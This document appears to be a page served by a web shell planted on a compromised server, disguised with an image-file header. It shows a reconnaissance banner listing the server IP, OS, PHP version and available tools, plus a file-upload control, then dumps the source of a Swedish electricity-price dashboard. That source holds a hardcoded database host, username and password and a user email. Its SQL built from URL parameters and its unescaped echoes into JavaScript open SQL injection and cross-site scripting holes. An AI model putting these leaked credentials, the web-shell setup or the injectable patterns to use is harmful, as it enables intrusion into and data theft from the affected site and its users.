????JFIF??x?x????'
Server IP : 79.136.114.73 / Your IP : 3.22.79.2 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/appsrv.astacus.se/shellyctr/ |
Upload File : |
<?php //ini_set('display_errors', 1); //ini_set('display_startup_errors', 1); //error_reporting(E_ALL); $Username = "carl.hoffstedt@astacus.se"; $mysqli = new mysqli("www.astacus.se", "carlhoffstedt", "Astacus2020!", "ShellyCTR"); $sql = "SELECT * FROM tblNordpool order by endTime desc LIMIT 1"; $result = $mysqli->query($sql); while($obj = $result->fetch_object()){ $latest_date = substr($obj->endTime,0,10); } $percent_off = $_GET['off_procent']; $percent_on = $_GET['on_procent']; $area = $_GET['area']; $day = $_GET['day']; $sql = "SELECT * FROM tblPriceControl, tblUsers WHERE tblPriceControl.Username = tblUsers.Username and tblUsers.Username = '".$Username."'"; $result = $mysqli->query($sql); while($obj = $result->fetch_object()){ $percent_off = $obj->Percent_off; $percent_on = $obj->Percent_on; $area = $obj->Area; $lat = $obj->lat; $lon = $obj->lon; $Controltype = $obj->Controltype; } if($percent_on == "1"){ $add_on = 1; } if($percent_off == "1"){ $add_off = 1; } if($day == ""){ $day = 0; } ?> <!doctype html> <html> <head> <meta charset="utf-8"> <title>Namnlöst dokument</title> <script src="https://cdn.jsdelivr.net/npm/chart.js"></script> <script src="js/package/dist/utils.js"></script> <style> table, th, td { font-family: 'Gill Sans', 'Gill Sans MT', 'Myriad Pro', 'DejaVu Sans Condensed', 'Helvetica', 'Arial', 'sans-serif'; font-size: 8px; border-collapse: collapse; } </style> <script> function send(){ var area = document.getElementById("area").value; var off_procent = document.getElementById("off_procent").value; var on_procent = document.getElementById("on_procent").value; location.href = "?area="+area+"&off_procent="+off_procent+"&on_procent="+on_procent+"&day=<?php echo($day)?>"; } function show_tomorrow(){ let new_data = confirm("Det finns ny data för i morgon, vill du visa den istället?"); var area = '<?php echo($area);?>'; var off_procent = '<?php echo($percent_off);?>'; var on_procent = '<?php echo($percent_on);?>'; if (new_data == true) { location.href = "?area="+area+"&off_procent="+off_procent+"&on_procent="+on_procent+"&day=1"; }else{ location.href = "?area="+area+"&off_procent="+off_procent+"&on_procent="+on_procent+"&day=0"; } } </script> </head> <body> <center> <select name="area" id="area"> <option value="">-- Välj elområde --</option> <option value="SE1" <?php if($_GET['area'] == "SE1"){echo(" selected");}?>>SE1</option> <option value="SE2" <?php if($_GET['area'] == "SE2"){echo(" selected");}?>>SE2</option> <option value="SE3" <?php if($_GET['area'] == "SE3"){echo(" selected");}?>>SE3</option> <option value="SE4" <?php if($_GET['area'] == "SE4"){echo(" selected");}?>>SE4</option> </select> <select name="off_procent" id="off_procent"> <option value="0">-- OFF % --</option> <option value="0"<?php if($_GET['off_procent'] == "0"){echo(" selected");}?>>0</option> <option value="0.1"<?php if($_GET['off_procent'] == "0.1"){echo(" selected");}?>>10</option> <option value="0.2"<?php if($_GET['off_procent'] == "0.2"){echo(" selected");}?>>20</option> <option value="0.3"<?php if($_GET['off_procent'] == "0.3"){echo(" selected");}?>>30</option> <option value="0.4"<?php if($_GET['off_procent'] == "0.4"){echo(" selected");}?>>40</option> <option value="0.5"<?php if($_GET['off_procent'] == "0.5"){echo(" selected");}?>>50</option> <option value="0.6"<?php if($_GET['off_procent'] == "0.6"){echo(" selected");}?>>60</option> <option value="0.7"<?php if($_GET['off_procent'] == "0.7"){echo(" selected");}?>>70</option> <option value="0.8"<?php if($_GET['off_procent'] == "0.8"){echo(" selected");}?>>80</option> <option value="0.9"<?php if($_GET['off_procent'] == "0.9"){echo(" selected");}?>>90</option> <option value="1.0"<?php if($_GET['off_procent'] == "1"){echo(" selected");}?>>100</option> </select> <select name="on_procent" id="on_procent"> <option value="0">-- ON % --</option> <option value="0"<?php if($_GET['on_procent'] == "0"){echo(" selected");}?>>0</option> <option value="0.1"<?php if($_GET['on_procent'] == "0.1"){echo(" selected");}?>>10</option> <option value="0.2"<?php if($_GET['on_procent'] == "0.2"){echo(" selected");}?>>20</option> <option value="0.3"<?php if($_GET['on_procent'] == "0.3"){echo(" selected");}?>>30</option> <option value="0.4"<?php if($_GET['on_procent'] == "0.4"){echo(" selected");}?>>40</option> <option value="0.5"<?php if($_GET['on_procent'] == "0.5"){echo(" selected");}?>>50</option> <option value="0.6"<?php if($_GET['on_procent'] == "0.6"){echo(" selected");}?>>60</option> <option value="0.7"<?php if($_GET['on_procent'] == "0.7"){echo(" selected");}?>>70</option> <option value="0.8"<?php if($_GET['on_procent'] == "0.8"){echo(" selected");}?>>80</option> <option value="0.9"<?php if($_GET['on_procent'] == "0.9"){echo(" selected");}?>>90</option> <option value="1.0"<?php if($_GET['on_procent'] == "1"){echo(" selected");}?>>100</option> </select> <input type="submit" onClick="send();"> </center> <p> <canvas id="myChart" width="100%" ></canvas> <br> <canvas id="myChart2" width="100%" ></canvas> <?php $from = date("Y-m-d",strtotime("$day days"))." 00:00:00"; $to = date("Y-m-d",strtotime("$day days"))." 24:00:00"; $sql = "SELECT DISTINCT(endTime) FROM tblNordpool WHERE endTime >= '".$from."' and endTime <= '".$to."' order by endTime"; $result = $mysqli->query($sql); $json_labels_t = "["; $labels_arr = array(); $tariff_arr = array(); while($obj = $result->fetch_object()){ $timestamp = $obj->endTime; $json_labels_t = $json_labels_t . "'". $timestamp ."',"; $labels_arr[] = $timestamp; $month = date("n",strtotime($timestamp)); //1-12 $hour = date("G",strtotime($timestamp)); // 0-24 if($month >= 11 || $month <= 3){ if($hour >= 6 && $hour < 22){ $tariff = 0.536; }else{ $tariff = 0.20; } }else{ $tariff = 0.20; } $tariff_arr[] = $tariff; } $json_labels_t = $json_labels_t . "'". str_replace("23:00:00","24:00:00",$timestamp) ."',"; $json_labels_t = $json_labels_t . "]"; $moms = 1.25; $sql = "SELECT * FROM tblNordpool WHERE endTime >= '".$from."' and endTime <= '".$to."' and area = 'SE1' order by endTime"; $result = $mysqli->query($sql); $arr1 = array(); while($obj = $result->fetch_object()){ $timestamp = $obj->endTime; $value = ($obj->value/1000 + $tariff)*$moms; $arr1[] = array($timestamp,$value); } $arr1[] = array($timestamp,$value); $sql = "SELECT * FROM tblNordpool WHERE endTime >= '".$from."' and endTime <= '".$to."' and area = 'SE2' order by endTime"; $result = $mysqli->query($sql); $arr2 = array(); while($obj = $result->fetch_object()){ $timestamp = $obj->endTime; $value = ($obj->value/1000 + $tariff)*$moms; $arr2[] = array($timestamp,$value); } $arr2[] = array($timestamp,$value); $sql = "SELECT * FROM tblNordpool WHERE endTime >= '".$from."' and endTime <= '".$to."' and area = 'SE3' order by endTime"; $result = $mysqli->query($sql); $arr3 = array(); while($obj = $result->fetch_object()){ $timestamp = $obj->endTime; $value = ($obj->value/1000 + $tariff)*$moms; $arr3[] = array($timestamp,$value); } $arr3[] = array($timestamp,$value); $sql = "SELECT * FROM tblNordpool WHERE endTime >= '".$from."' and endTime <= '".$to."' and area = 'SE4' order by endTime"; $result = $mysqli->query($sql); $arr4 = array(); while($obj = $result->fetch_object()){ $timestamp = $obj->endTime; $value = ($obj->value/1000 + $tariff)*$moms; $arr4[] = array($timestamp,$value); } $arr4[] = array($timestamp,$value); $json_data_t1 = "data : ["; $json_data_t2 = "data : ["; $json_data_t3 = "data : ["; $json_data_t4 = "data : ["; foreach ($labels_arr as &$value) { $f1 = false; foreach ($arr1 as &$v1) { if($v1[0] == $value){ $json_data_t1 = $json_data_t1 . $v1[1].","; $f1 = true; } } if($f1 == false){ $json_data_t1 = $json_data_t1 .","; } $f1 = false; foreach ($arr2 as &$v1) { if($v1[0] == $value){ $json_data_t2 = $json_data_t2 . $v1[1].","; $f1 = true; } } if($f1 == false){ $json_data_t2 = $json_data_t2 .","; } $f1 = false; foreach ($arr3 as &$v1) { if($v1[0] == $value){ $json_data_t3 = $json_data_t3 . $v1[1].","; $f1 = true; } } if($f1 == false){ $json_data_t3 = $json_data_t3 .","; } $f1 = false; foreach ($arr4 as &$v1) { if($v1[0] == $value){ $json_data_t4 = $json_data_t4 . $v1[1].","; $f1 = true; } } if($f1 == false){ $json_data_t4 = $json_data_t4 .","; } } $json_data_t1 = $json_data_t1 . "]"; $json_data_t2 = $json_data_t2 . "]"; $json_data_t3 = $json_data_t3 . "]"; $json_data_t4 = $json_data_t4 . "]"; //////////// if($area == ""){ $area = 3; } if($percent_off == ""){ $percent_off = 0.2; } if($percent_on == ""){ $percent_on = 0.2; } if($percent_on == "1"){ $add_on = 1; } if($percent_off == "1"){ $add_off = 1; } $nbr_hrs_off = round((24*$percent_off))+$add_off; $nbr_hrs_on = round((24*$percent_on))+$add_on; $arr_use = $arr3; if($area == 1){ $arr_use = $arr1; $json_data_t1 = $json_data_t1; }else if($area == 2){ $arr_use = $arr2; $json_data_t1 = $json_data_t2; }else if($area == 3){ $arr_use = $arr3; $json_data_t1 = $json_data_t3; }else if($area == 4){ $arr_use = $arr4; $json_data_t1 = $json_data_t4; } $sum = 0; foreach ($arr_use as &$v1) { $sum +=$v1[1]; } $average = $sum/count($arr_use); $arr_off = array(); $arr_on = array(); foreach ($arr_use as &$v1) { $arr_off[] = $v1[1]; $arr_on[] = $v1[1]; } rsort($arr_off); $largest = array_slice($arr_off, 0, $nbr_hrs_off); sort($arr_on); $smallest = array_slice($arr_on, 0, $nbr_hrs_on); $onoff_arr5 = array(); $json_data_t5 = "data : ["; $f1 = false; foreach ($arr_use as &$v1) { if(in_array($v1[1],$largest)){ $json_data_t5 = $json_data_t5 . "'OFF',"; $f1 = true; $onoff_arr5[] = 0; }else{ $json_data_t5 = $json_data_t5 . "'ON',"; $onoff_arr5[] = 1; } } if($f1 == false){ $json_data_t5 = $json_data_t5 .","; } $json_data_t5 = $json_data_t5 . "]"; $onoff_arr6 = array(); $json_data_t6 = "data : ["; $f1 = false; foreach ($arr_use as &$v1) { if(in_array($v1[1],$smallest)){ $json_data_t6 = $json_data_t6 . "'ON',"; $f1 = true; $onoff_arr6[] = 1; }else{ $json_data_t6 = $json_data_t6 . "'OFF',"; $onoff_arr6[] = 0; } } if($f1 == false){ $json_data_t6 = $json_data_t6 .","; } $json_data_t6 = $json_data_t6 . "]"; $json_data_t7 = "data : ["; $f1 = false; foreach ($arr_use as &$v1) { $json_data_t7 = $json_data_t7 . $average.","; } if($f1 == false){ $json_data_t7 = $json_data_t7 .","; } $json_data_t7 = $json_data_t7 . "]"; $onoff_arr8 = array(); $json_data_t8 = "data : ["; $f1 = false; foreach ($arr_use as &$v1) { if($v1[1] < $average){ $json_data_t8 = $json_data_t8 . "'ON',"; $f1 = true; $onoff_arr8[] = 1; }else{ $json_data_t8 = $json_data_t8 . "'OFF',"; $onoff_arr8[] = 0; } } if($f1 == false){ $json_data_t8 = $json_data_t8 .","; } $json_data_t8 = $json_data_t8 . "]"; ?> <?php if(date("Y-m-d") != $latest_date && $_GET['day'] == ""){ echo("<script> show_tomorrow(); </script>"); } ?> <?php $sql = "SELECT * FROM tblSMHI WHERE endTime >= '".$from."' and endTime <= '".$to."' and Username = '".$Username."' order by endTime"; $result = $mysqli->query($sql); $json_labels_t2 = "["; $json_data_ws = "data : ["; $json_data_t = "data : ["; $json_data_t_effective = "data : ["; $json_data_tcc_mean = "data : ["; $json_data_tcc_mean_array = array(); $json_data_t_effective_array = array(); while($obj = $result->fetch_object()){ $timestamp = $obj->startTime; $json_labels_t2 = $json_labels_t2 . "'". $timestamp ."',"; $json_data_t = $json_data_t . $obj->t.","; $json_data_ws = $json_data_ws . $obj->ws.","; $json_data_t_effective = $json_data_t_effective . $obj->t_effective.","; $json_data_t_effective_array[] = $obj->t_effective; if($obj->tcc_mean >= 5){ $sol = "'OFF'"; $json_data_tcc_mean_array[] = 0; }else{ $sol = "'ON'"; $json_data_tcc_mean_array[] = 1; } $json_data_tcc_mean = $json_data_tcc_mean . $sol.","; } $json_data_t = $json_data_t . "]"; $json_data_ws = $json_data_ws . "]"; $json_data_t_effective = $json_data_t_effective . "]"; $json_data_tcc_mean = $json_data_tcc_mean ."]"; $json_labels_t2 = $json_labels_t2 . "'". str_replace("23:00:00","24:00:00",$timestamp) ."',"; $json_labels_t2 = $json_labels_t2 . "]"; $onoff_arr = array(); if($Controltype == 1){ $onoff_arr = $onoff_arr5; }else if($Controltype == 2){ $onoff_arr = $onoff_arr6; }else if($Controltype == 3){ $onoff_arr = $onoff_arr8; } $json_data_t_effective_ohmigo = "data : ["; $x = 0; foreach ($json_data_t_effective_array as &$t_effective) { $addtemp = 0; if($json_data_tcc_mean_array[$x] == 1){ if($x > 8 && $x <= 15){ $addtemp += 2; } } if($onoff_arr6[$x] == 1){ $addtemp -= 2; // echo("<br>Sänk temperaturen ute de billigaste timmarna på dygnet<br>"); } if($onoff_arr[$x] == 1){ $json_data_t_effective_ohmigo = $json_data_t_effective_ohmigo . ($json_data_t_effective_array[$x]+$addtemp).","; }else{ $json_data_t_effective_ohmigo = $json_data_t_effective_ohmigo . ($json_data_t_effective_array[$x]+20+$addtemp).","; } $x++; } $json_data_t_effective_ohmigo = $json_data_t_effective_ohmigo . "]"; ?> <script> const labels = <?php echo($json_labels_t);?>; const data = { labels: labels, datasets: [ { label: 'Medelpris', <?php echo($json_data_t7);?>, borderColor: '#FF00FF', backgroundColor: '#FF00FF', stepped: true, fill: false, yAxisID: 'y' }, { label: '<?php echo($area);?>', <?php echo($json_data_t1);?>, borderColor: '#FF0000', backgroundColor: '#FF0000', stepped: true, fill: true, yAxisID: 'y' }, { label: 'Temperaturkurva OMHIGO', <?php echo($json_data_t_effective_ohmigo);?>, borderColor: '#FF0000', backgroundColor: '#FF0000', stepped: false, fill: false, yAxisID: 'y4' }, { label: '(1) ON/OFF-reglering baserat på OFF de dyraste <?php echo($percent_off*100);?>% av timmarna i elområde <?php echo($area);?>', <?php echo($json_data_t5);?>, borderColor: '#005808', backgroundColor: '#005808', stepped: true, fill: false, yAxisID: 'y1' } , { label: '(2) ON/OFF-reglering baserat på ON de billigaste <?php echo($percent_on*100);?>% av timmarna i elområde <?php echo($area);?>', <?php echo($json_data_t6);?>, borderColor: '#009b0f', backgroundColor: '#009b0f', stepped: true, fill: false, yAxisID: 'y2' }, { label: '(3) ON/OFF-reglering baserat på lägre än medelpris i elområde <?php echo($area);?>', <?php echo($json_data_t8);?>, borderColor: '#00e616', backgroundColor: '#00e616', stepped: true, fill: false, yAxisID: 'y3' } ] }; const config = { maintainAspectRatio: true, type: 'line', data: data, options: { responsive: true, plugins: { title: { display: true, text: 'ELPRISOMRÅDEN <?php $latest_date_lable = $latest_date ; if($day == 0){ $latest_date_lable = date("Y-m-d") ; } echo($latest_date_lable );?>', }, }, scales: { y: { type: 'linear', position: 'left', stack: 'demo', stackWeight: 5, } , y4: { type: 'linear', position: 'left', stack: 'demo', stackWeight: 5, } , y1: { type: 'category', labels: ['ON', 'OFF'], offset: true, position: 'left', stack: 'demo', stackWeight: 1, }, y2: { type: 'category', labels: ['ON', 'OFF'], offset: true, position: 'left', stack: 'demo', stackWeight: 1, }, y3: { type: 'category', labels: ['ON', 'OFF'], offset: true, position: 'left', stack: 'demo', stackWeight: 1, } } } }; const myChart = new Chart( document.getElementById('myChart'), config ); </script> <script> const labels2 = <?php echo($json_labels_t2);?>; const data2 = { labels: labels, datasets: [ { label: 'Temperatur', <?php echo($json_data_t);?>, borderColor: '#0060ff', backgroundColor: '#0060ff', stepped: false, fill: false, yAxisID: 'y' }, { label: 'Vind', <?php echo($json_data_ws);?>, borderColor: '#ff0000', backgroundColor: '#ff0000', stepped: false, fill: false, yAxisID: 'y' }, { label: 'Effektiv vind', <?php echo($json_data_t_effective);?>, borderColor: '#0000a9', backgroundColor: '#0000a9', stepped: false, fill: false, yAxisID: 'y' }, { label: 'Sol', <?php echo($json_data_tcc_mean);?>, borderColor: '#f6ff00', backgroundColor: '#f6ff00', stepped: true, fill: true, yAxisID: 'y2' }, ] }; const config2 = { maintainAspectRatio: true, type: 'line', data: data2, options: { responsive: true, plugins: { title: { display: true, text: 'VÄDERPROGNOS <?php $latest_date_lable = $latest_date ; if($day == 0){ $latest_date_lable = date("Y-m-d") ; } echo($latest_date_lable );?>', }, }, scales: { y2: { type: 'category', labels: ['ON', 'OFF'], offset: true, position: 'left', stack: 'demo', stackWeight: 1, }, y: { type: 'linear', position: 'left', stack: 'demo', stackWeight: 10, } } } }; const myChart2 = new Chart( document.getElementById('myChart2'), config2 ); </script> </body> </html>